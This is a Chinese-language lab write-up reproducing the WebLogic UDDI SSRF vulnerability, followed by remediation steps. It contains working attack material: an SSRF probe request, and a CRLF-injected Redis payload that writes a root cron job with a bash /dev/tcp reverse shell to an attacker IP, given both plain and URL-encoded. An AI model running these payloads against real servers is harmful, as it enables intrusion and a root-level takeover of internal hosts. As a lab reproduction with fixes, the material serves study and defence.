Weblogic SSRF漏洞
1、漏洞描述
SSRF(Server-Side Request Forgery,伺服器請求偽造)是一種由攻擊者構造請求,由服務端發起請求的安全漏洞,一般情況下,SSRF攻擊的目標是外網無法訪問的內網系統(正因為請求時由服務端發起的,所以服務端能請求到與自身相連而與外網隔絕的內部系統)。
SSRF漏洞形成的原因大都是由於服務端提供了從其他伺服器應用獲取資料的功能且沒有對目標地址做過濾與限制。
該漏洞危害:
1) 掃描內網(主機資訊收集,Web應用指紋識別)
2) 根據所識別應用傳送構造的Payload進行攻擊
3) Denial of service(請求大檔案,始終保持連線Keep-Alive Always)
2、復現環境:
攻擊機(kali):192.168.4.157
目標機(ubuntu):192.168.4.128
內網redis伺服器:172.18.0.2
3、漏洞復現:
SSRF漏洞存在於http://192.168.4.128:7001/uddiexplorer/SearchPublicRegistries.jsp
,我們在brupsuite下測試該漏洞。
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: 192.168.4.128:7001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
可訪問的埠將會得到錯誤,一般是返回status code(如下圖),如果訪問的非http協議,則會返回did not have a valid SOAP content-type
。
修改為一個不存在的埠,將會返回could not connect over HTTP to server
。
通過錯誤的不同,即可探測內網狀態。
注入HTTP頭,利用Redis反彈shell
Weblogic的SSRF有一個比較大的特點,其雖然是一個“GET”請求,但是我們可以通過傳入%0a%0d
來注入換行符,而某些服務(如redis)是通過換行符來分隔每條命令,也就說我們可以通過該SSRF攻擊內網中的redis伺服器。
傳送三條redis命令,將彈shell指令碼寫入/etc/crontab
:
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.4.157/1236 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aa
進行URL編碼:set%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.4.157%2F1236%200%3E%261%5Cn%5Cn%5Cn%
poc:
http://172.18.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.4.157%2F1236%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaa
通過上面反彈shell指令碼的執行,成功反彈內網redis伺服器的shell
4、修復方法:
方法一:
刪除uddiexplorer資料夾
限制uddiexplorer應用只能內網訪問
方法二:
將SearchPublicRegistries.jsp直接刪除
方法三:
Weblogic服務端請求偽造漏洞出現在uddi元件(所以安裝Weblogic時如果沒有選擇uddi元件那麼就不會有該漏洞),更準確地說是uudi包實現包uddiexplorer.war下的SearchPublicRegistries.jsp。方法三採用的是改後輟的方式,修復步驟如下:
將weblogic安裝目錄下的wlserver_10.3/server/lib/uddiexplorer.war做好備份
將weblogic安裝目錄下的server/lib/uddiexplorer.war下載
用winrar等工具開啟uddiexplorer.war
將其下的SearchPublicRegistries.jsp重新命名為SearchPublicRegistries.jspx
儲存後上傳回服務端替換原先的uddiexplorer.war
對於多臺主機組成的叢集,針對每臺主機都要做這樣的操作
由於每個server的tmp目錄下都有快取所以修改後要徹底重啟weblogic(即停應用–停server–停控制檯–啟控制檯–啟server–啟應用)